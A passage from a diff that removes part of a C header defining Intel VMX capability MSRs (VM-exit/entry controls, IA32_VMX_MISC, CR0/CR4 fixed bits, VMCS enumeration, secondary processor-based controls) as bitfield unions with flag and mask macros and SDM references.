IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_BIT 15 -#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_FLAG 0x8000 -#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT(_) (((_) >> 15) & 0x01) - uint64_t reserved5 : 2; - - /** - * @brief Whether the guest IA32_PAT MSR is saved on VM-exit - * - * [Bit 18] This control determines whether the IA32_PAT MSR is saved on VM exit. - */ - uint64_t save_ia32_pat : 1; -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_BIT 18 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_FLAG 0x40000 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT(_) (((_) >> 18) & 0x01) - - /** - * @brief Whether the host IA32_PAT MSR is loaded on VM-exit - * - * [Bit 19] This control determines whether the IA32_PAT MSR is loaded on VM exit. - */ - uint64_t load_ia32_pat : 1; -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_BIT 19 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_FLAG 0x80000 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT(_) (((_) >> 19) & 0x01) - - /** - * @brief Whether the guest IA32_EFER MSR is saved on VM-exit - * - * [Bit 20] This control determines whether the IA32_EFER MSR is saved on VM exit. - */ - uint64_t save_ia32_efer : 1; -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_BIT 20 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_FLAG 0x100000 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER(_) (((_) >> 20) & 0x01) - - /** - * @brief Whether the host IA32_EFER MSR is loaded on VM-exit - * - * [Bit 21] This control determines whether the IA32_EFER MSR is loaded on VM exit. - */ - uint64_t load_ia32_efer : 1; -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_BIT 21 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_FLAG 0x200000 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER(_) (((_) >> 21) & 0x01) - - /** - * @brief Whether the value of the VMX preemption timer is saved on every VM-exit - * - * [Bit 22] This control determines whether the value of the VMX-preemption timer is saved on VM exit. - */ - uint64_t save_vmx_preemption_timer_value : 1; -#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_BIT 22 -#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_FLAG 0x400000 -#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE(_) (((_) >> 22) & 0x01) - - /** - * [Bit 23] This control determines whether the IA32_BNDCFGS MSR is cleared on VM exit. - */ - uint64_t clear_ia32_bndcfgs : 1; -#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_BIT 23 -#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_FLAG 0x800000 -#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS(_) (((_) >> 23) & 0x01) - - /** - * [Bit 24] If this control is 1, Intel Processor Trace does not produce a paging information packet (PIP) on a VM exit or - * a VMCS packet on an SMM VM exit. - * - * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] - */ - uint64_t conceal_vmx_from_pt : 1; -#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_BIT 24 -#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_FLAG 0x1000000 -#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT(_) (((_) >> 24) & 0x01) - uint64_t reserved6 : 39; - }; - - uint64_t flags; -} ia32_vmx_exit_ctls_register; - - -/** - * Capability Reporting Register of VM-Entry Controls. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.5(VM-ENTRY CONTROLS)] - * @see Vol3D[24.8.1(VM-Entry Controls)] (reference) - */ -#define IA32_VMX_ENTRY_CTLS 0x00000484 -typedef union -{ - struct - { - uint64_t reserved1 : 2; - - /** - * @brief Load guest debug controls (dr7 & IA32_DEBUGCTL_MSR) (forced to 1 on the 'first' VT-x capable CPUs; this actually - * includes the newest Nehalem CPUs) - * - * [Bit 2] This control determines whether DR7 and the IA32_DEBUGCTL MSR are loaded on VM entry. The first processors to - * support the virtual-machine extensions supported only the 1-setting of this control. - */ - uint64_t load_debug_controls : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_BIT 2 -#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_FLAG 0x04 -#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS(_) (((_) >> 2) & 0x01) - uint64_t reserved2 : 6; - - /** - * @brief 64 bits guest mode. Must be 0 for CPUs that don't support AMD64 - * - * [Bit 9] On processors that support Intel 64 architecture, this control determines whether the logical processor is in - * IA-32e mode after VM entry. Its value is loaded into IA32_EFER.LMA as part of VM entry. This control must be 0 on - * processors that do not support Intel 64 architecture. - */ - uint64_t ia32e_mode_guest : 1; -#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_BIT 9 -#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_FLAG 0x200 -#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST(_) (((_) >> 9) & 0x01) - - /** - * @brief In SMM mode after VM-entry - * - * [Bit 10] This control determines whether the logical processor is in system-management mode (SMM) after VM entry. This - * control must be 0 for any VM entry from outside SMM. - */ - uint64_t entry_to_smm : 1; -#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_BIT 10 -#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_FLAG 0x400 -#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM(_) (((_) >> 10) & 0x01) - - /** - * @brief Disable dual treatment of SMI and SMM; must be zero for VM-entry outside of SMM - * - * [Bit 11] If set to 1, the default treatment of SMIs and SMM is in effect after the VM entry. This control must be 0 for - * any VM entry from outside SMM - * - * @see Vol3C[34.15.7(Deactivating the Dual-Monitor Treatment)] - */ - uint64_t deactivate_dual_monitor_treatment : 1; -#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_BIT 11 -#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_FLAG 0x800 -#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT(_) (((_) >> 11) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief Whether the guest IA32_PERF_GLOBAL_CTRL MSR is loaded on VM-entry - * - * [Bit 13] This control determines whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM entry. - */ - uint64_t load_ia32_perf_global_ctrl : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_BIT 13 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_FLAG 0x2000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL(_) (((_) >> 13) & 0x01) - - /** - * @brief Whether the guest IA32_PAT MSR is loaded on VM-entry - * - * [Bit 14] This control determines whether the IA32_PAT MSR is loaded on VM entry. - */ - uint64_t load_ia32_pat : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_BIT 14 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_FLAG 0x4000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT(_) (((_) >> 14) & 0x01) - - /** - * @brief Whether the guest IA32_EFER MSR is loaded on VM-entry - * - * [Bit 15] This control determines whether the IA32_EFER MSR is loaded on VM entry. - */ - uint64_t load_ia32_efer : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_BIT 15 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_FLAG 0x8000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_EFER(_) (((_) >> 15) & 0x01) - - /** - * [Bit 16] This control determines whether the IA32_BNDCFGS MSR is loaded on VM entry. - */ - uint64_t load_ia32_bndcfgs : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_BIT 16 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_FLAG 0x10000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_BNDCFGS(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] If this control is 1, Intel Processor Trace does not produce a paging information packet (PIP) on a VM entry or - * a VMCS packet on a VM entry that returns from SMM. - * - * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] - */ - uint64_t conceal_vmx_from_pt : 1; -#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_BIT 17 -#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_FLAG 0x20000 -#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_CONCEAL_VMX_FROM_PT(_) (((_) >> 17) & 0x01) - - /** - * [Bit 18] This control determines whether the IA32_RTIT_CTL MSR is loaded on VM entry. - */ - uint64_t load_ia32_rtit_ctl : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_BIT 18 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_FLAG 0x40000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_RTIT_CTL(_) (((_) >> 18) & 0x01) - uint64_t reserved4 : 1; - - /** - * [Bit 20] This control determines whether CET-related MSRs and SPP are loaded on VM entry. - */ - uint64_t load_cet_state : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_BIT 20 -#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_FLAG 0x100000 -#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_CET_STATE(_) (((_) >> 20) & 0x01) - uint64_t reserved5 : 43; - }; - - uint64_t flags; -} ia32_vmx_entry_ctls_register; - - -/** - * Reporting Register of Miscellaneous VMX Capabilities. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.6(MISCELLANEOUS DATA)] - * @see Vol3D[A.6(Miscellaneous Data)] (reference) - */ -#define IA32_VMX_MISC 0x00000485 -typedef union -{ - struct - { - /** - * @brief Relationship between the preemption timer and tsc; count down every time bit x of the tsc changes - * - * [Bits 4:0] Report a value X that specifies the relationship between the rate of the VMX-preemption timer and that of the - * timestamp counter (TSC). Specifically, the VMX-preemption timer (if it is active) counts down by 1 every time bit X in - * the TSC changes due to a TSC increment. - */ - uint64_t preemption_timer_tsc_relationship : 5; -#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_BIT 0 -#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_FLAG 0x1F -#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP_MASK 0x1F -#define IA32_VMX_MISC_PREEMPTION_TIMER_TSC_RELATIONSHIP(_) (((_) >> 0) & 0x1F) - - /** - * @brief Whether VM-exit stores EFER.LMA into the "IA32e mode guest" field - * - * [Bit 5] When set to 1, VM exits store the value of IA32_EFER.LMA into the "IA-32e mode guest" VM-entry control. This bit - * is read as 1 on any logical processor that supports the 1-setting of the "unrestricted guest" VM-execution control. - * - * @see Vol3C[27.2(RECORDING VM-EXIT INFORMATION AND UPDATING VM-ENTRY CONTROL FIELDS)] - */ - uint64_t store_efer_lma_on_vmexit : 1; -#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_BIT 5 -#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_FLAG 0x20 -#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT_MASK 0x01 -#define IA32_VMX_MISC_STORE_EFER_LMA_ON_VMEXIT(_) (((_) >> 5) & 0x01) - - /** - * @brief Activity states supported by the implementation - * - * [Bits 8:6] Report, as a bitmap, the activity states supported by the implementation: - * - Bit 6 reports (if set) the support for activity state 1 (HLT). - * - Bit 7 reports (if set) the support for activity state 2 (shutdown). - * - Bit 8 reports (if set) the support for activity state 3 (wait-for-SIPI). - * If an activity state is not supported, the implementation causes a VM entry to fail if it attempts to establish that - * activity state. All implementations support VM entry to activity state 0 (active). - */ - uint64_t activity_states : 3; -#define IA32_VMX_MISC_ACTIVITY_STATES_BIT 6 -#define IA32_VMX_MISC_ACTIVITY_STATES_FLAG 0x1C0 -#define IA32_VMX_MISC_ACTIVITY_STATES_MASK 0x07 -#define IA32_VMX_MISC_ACTIVITY_STATES(_) (((_) >> 6) & 0x07) - uint64_t reserved1 : 5; - - /** - * @brief Intel Processor Trace (Intel PT) can be used in VMX operation - * - * [Bit 14] When set to 1, Intel(R) Processor Trace (Intel PT) can be used in VMX operation. If the processor supports Intel - * PT but does not allow it to be used in VMX operation, execution of VMXON clears IA32_RTIT_CTL.TraceEn; any attempt to - * write IA32_RTIT_CTL while in VMX operation (including VMX root operation) causes a general-protection exception. - * - * @see Vol3C[30.3(VMX INSTRUCTIONS | VMXON-Enter VMX Operation)] - */ - uint64_t intel_pt_available_in_vmx : 1; -#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_BIT 14 -#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_FLAG 0x4000 -#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX_MASK 0x01 -#define IA32_VMX_MISC_INTEL_PT_AVAILABLE_IN_VMX(_) (((_) >> 14) & 0x01) - - /** - * @brief Whether RDMSR can be used to read IA32_SMBASE_MSR in SMM - * - * [Bit 15] When set to 1, the RDMSR instruction can be used in system-management mode (SMM) to read the IA32_SMBASE MSR - * (MSR address 9EH). - * - * @see Vol3C[34.15.6.3(Saving Guest State)] - */ - uint64_t rdmsr_can_read_ia32_smbase_msr_in_smm : 1; -#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_BIT 15 -#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_FLAG 0x8000 -#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM_MASK 0x01 -#define IA32_VMX_MISC_RDMSR_CAN_READ_IA32_SMBASE_MSR_IN_SMM(_) (((_) >> 15) & 0x01) - - /** - * @brief Number of CR3 target values supported by the processor (0-256) - * - * [Bits 24:16] Indicate the number of CR3-target values supported by the processor. This number is a value between 0 and - * 256, inclusive (bit 24 is set if and only if bits 23:16 are clear). - */ - uint64_t cr3_target_count : 9; -#define IA32_VMX_MISC_CR3_TARGET_COUNT_BIT 16 -#define IA32_VMX_MISC_CR3_TARGET_COUNT_FLAG 0x1FF0000 -#define IA32_VMX_MISC_CR3_TARGET_COUNT_MASK 0x1FF -#define IA32_VMX_MISC_CR3_TARGET_COUNT(_) (((_) >> 16) & 0x1FF) - - /** - * @brief Maximum number of MSRs in the VMCS. (N+1)*512 - * - * [Bits 27:25] Used to compute the recommended maximum number of MSRs that should appear in the VM-exit MSR-store list, - * the VM-exit MSR-load list, or the VM-entry MSR-load list. Specifically, if the value bits 27:25 of IA32_VMX_MISC is N, - * then 512 * (N + 1) is the recommended maximum number of MSRs to be included in each list. If the limit is exceeded, - * undefined processor behavior may result (including a machine check during the VMX transition). - */ - uint64_t max_number_of_msr : 3; -#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_BIT 25 -#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_FLAG 0xE000000 -#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR_MASK 0x07 -#define IA32_VMX_MISC_MAX_NUMBER_OF_MSR(_) (((_) >> 25) & 0x07) - - /** - * @brief Whether bit 2 of IA32_SMM_MONITOR_CTL can be set to 1 - * - * [Bit 28] When set to 1, bit 2 of the IA32_SMM_MONITOR_CTL can be set to 1. VMXOFF unblocks SMIs unless - * IA32_SMM_MONITOR_CTL[bit 2] is 1. - * - * @see Vol3C[34.14.4(VMXOFF and SMI Unblocking)] - */ - uint64_t smm_monitor_ctl_b2 : 1; -#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_BIT 28 -#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_FLAG 0x10000000 -#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2_MASK 0x01 -#define IA32_VMX_MISC_SMM_MONITOR_CTL_B2(_) (((_) >> 28) & 0x01) - - /** - * @brief Whether VMWRITE can be used to write VM-exit information fields - * - * [Bit 29] When set to 1, software can use VMWRITE to write to any supported field in the VMCS; otherwise, VMWRITE cannot - * be used to modify VM-exit information fields. - */ - uint64_t vmwrite_vmexit_info : 1; -#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_BIT 29 -#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_FLAG 0x20000000 -#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO_MASK 0x01 -#define IA32_VMX_MISC_VMWRITE_VMEXIT_INFO(_) (((_) >> 29) & 0x01) - - /** - * [Bit 30] When set to 1, VM entry allows injection of a software interrupt, software exception, or privileged software - * exception with an instruction length of 0. - */ - uint64_t zero_length_instruction_vmentry_injection : 1; -#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_BIT 30 -#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_FLAG 0x40000000 -#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION_MASK 0x01 -#define IA32_VMX_MISC_ZERO_LENGTH_INSTRUCTION_VMENTRY_INJECTION(_) (((_) >> 30) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief MSEG revision identifier used by the processor - * - * [Bits 63:32] Report the 32-bit MSEG revision identifier used by the processor. - */ - uint64_t mseg_id : 32; -#define IA32_VMX_MISC_MSEG_ID_BIT 32 -#define IA32_VMX_MISC_MSEG_ID_FLAG 0xFFFFFFFF00000000 -#define IA32_VMX_MISC_MSEG_ID_MASK 0xFFFFFFFF -#define IA32_VMX_MISC_MSEG_ID(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_vmx_misc_register; - - -/** - * Capability Reporting Register of CR0 Bits Fixed to 0. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.7(VMX-FIXED BITS IN CR0)] - * @see Vol3D[A.7(VMX-Fixed Bits in CR0)] (reference) - */ -#define IA32_VMX_CR0_FIXED0 0x00000486 - - /** - * Capability Reporting Register of CR0 Bits Fixed to 1. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.7(VMX-FIXED BITS IN CR0)] - * @see Vol3D[A.7(VMX-Fixed Bits in CR0)] (reference) - */ -#define IA32_VMX_CR0_FIXED1 0x00000487 - - /** - * Capability Reporting Register of CR4 Bits Fixed to 0. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.8(VMX-FIXED BITS IN CR4)] - * @see Vol3D[A.8(VMX-Fixed Bits in CR4)] (reference) - */ -#define IA32_VMX_CR4_FIXED0 0x00000488 - - /** - * Capability Reporting Register of CR4 Bits Fixed to 1. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.8(VMX-FIXED BITS IN CR4)] - * @see Vol3D[A.8(VMX-Fixed Bits in CR4)] (reference) - */ -#define IA32_VMX_CR4_FIXED1 0x00000489 - - /** - * Capability Reporting Register of VMCS Field Enumeration. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.9(VMCS ENUMERATION)] - * @see Vol3D[A.9(VMCS Enumeration)] (reference) - */ -#define IA32_VMX_VMCS_ENUM 0x0000048A -typedef union -{ - struct - { - /** - * [Bit 0] Indicates access type. - */ - uint64_t access_type : 1; -#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_BIT 0 -#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_FLAG 0x01 -#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE_MASK 0x01 -#define IA32_VMX_VMCS_ENUM_ACCESS_TYPE(_) (((_) >> 0) & 0x01) - - /** - * [Bits 9:1] Highest index value used for any VMCS encoding. - */ - uint64_t highest_index_value : 9; -#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_BIT 1 -#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_FLAG 0x3FE -#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE_MASK 0x1FF -#define IA32_VMX_VMCS_ENUM_HIGHEST_INDEX_VALUE(_) (((_) >> 1) & 0x1FF) - - /** - * [Bits 11:10] Indicate the field's type. - */ - uint64_t field_type : 2; -#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_BIT 10 -#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_FLAG 0xC00 -#define IA32_VMX_VMCS_ENUM_FIELD_TYPE_MASK 0x03 -#define IA32_VMX_VMCS_ENUM_FIELD_TYPE(_) (((_) >> 10) & 0x03) - uint64_t reserved1 : 1; - - /** - * [Bits 14:13] Indicate the field's width. - */ - uint64_t field_width : 2; -#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_BIT 13 -#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_FLAG 0x6000 -#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH_MASK 0x03 -#define IA32_VMX_VMCS_ENUM_FIELD_WIDTH(_) (((_) >> 13) & 0x03) - uint64_t reserved2 : 49; - }; - - uint64_t flags; -} ia32_vmx_vmcs_enum_register; - - -/** - * Capability Reporting Register of Secondary Processor-Based VM-Execution Controls. - * - * @remarks If ( CPUID.01H:ECX.[5] && IA32_VMX_PROCBASED_CTLS[63] ) - * @see Vol3D[A.3.3(Secondary Processor-Based VM-Execution Controls)] - * @see Vol3D[24.6.2(Processor-Based VM-Execution Controls)] (reference) - */ -#define IA32_VMX_PROCBASED_CTLS2 0x0000048B -typedef union -{ - struct - { - /** - * @brief Virtualize APIC access - * - * [Bit 0] If this control is 1, the logical processor treats specially accesses to the page with the APICaccess address. - * - * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] - */ - uint64_t virtualize_apic_accesses : 1; -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_BIT 0 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_FLAG 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_APIC_ACCESSES(_) (((_) >> 0) & 0x01) - - /** - * @brief EPT supported/enabled - * - * [Bit 1] If this control is 1, extended page tables (EPT) are enabled. - * - * @see Vol3C[28.2(THE EXTENDED PAGE TABLE MECHANISM (EPT))] - */ - uint64_t enable_ept : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_BIT 1 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_FLAG 0x02 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_EPT(_) (((_) >> 1) & 0x01) - - /** - * @brief Descriptor table instructions cause VM-exits - * - * [Bit 2] This control determines whether executions of LGDT, LIDT, LLDT, LTR, SGDT, SIDT, SLDT, and STR cause VM exits. - */ - uint64_t descriptor_table_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_BIT 2 -#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_FLAG 0x04 -#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_DESCRIPTOR_TABLE_EXITING(_) (((_) >> 2) & 0x01) - - /** - * @brief RDTSCP supported/enabled - * - * [Bit 3] If this control is 0, any execution of RDTSCP causes an invalid-opcode exception (\#UD). - */ - uint64_t enable_rdtscp : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_BIT 3 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_FLAG 0x08 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_RDTSCP(_) (((_) >> 3) & 0x01) - - /** - * @brief Virtualize x2APIC mode - * - * [Bit 4] If this control is 1, the logical processor treats specially RDMSR and WRMSR to APIC MSRs (in the range - * 800H-8FFH). - * - * @see Vol3C[29.5(VIRTUALIZING MSR-BASED APIC ACCESSES)] - */ - uint64_t virtualize_x2apic_mode : 1; -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_BIT 4 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_FLAG 0x10 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_VIRTUALIZE_X2APIC_MODE(_) (((_) >> 4) & 0x01) - - /** - * @brief VPID supported/enabled - * - * [Bit 5] If this control is 1, cached translations of linear addresses are associated with a virtualprocessor identifier - * (VPID). - * - * @see Vol3C[28.1(VIRTUAL PROCESSOR IDENTIFIERS (VPIDS))] - */ - uint64_t enable_vpid : 1; -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_BIT 5 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_FLAG 0x20 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_ENABLE_VPID(_) (((_) >> 5) & 0x01) - - /** - * @brief VM-exit when executing the WBINVD instruction - * - * [Bit 6] This control determines whether executions of WBINVD cause VM exits. - */ - uint64_t wbinvd_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_BIT 6 -#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_FLAG 0x40 -#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_WBINVD_EXITING(_) (((_) >> 6) & 0x01) - - /** - * @brief Unrestricted guest execution - * - * [Bit 7] This control determines whether guest software may run in unpaged protected mode or in realaddress mode. - */ - uint64_t unrestricted_guest : 1; -#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_BIT 7 -#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_FLAG 0x80 -#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_UNRESTRICTED_GUEST(_) (((_) >> 7) & 0x01) - - /** - * @brief APIC register virtualization - * - * [Bit 8] If this control is 1, the logical processor virtualizes certain APIC accesses. - * - * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] - * @see Vol3C[29.5(VIRTUALIZING MSR-BASED APIC ACCESSES)] - */ - uint64_t apic_register_virtualization : 1; -#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_BIT 8 -#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_FLAG 0x100 -#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS2_APIC_REGISTER_VIRTUALIZATION(_) (((_) >> 8) & 0x01) - - /** - * @brief Virtual-interrupt delivery - * - * [Bit 9] This controls enables the evaluation and delivery of pending virtual interrupts as well as the emulation of - * writes to the APIC registers that control interrupt prioritization. 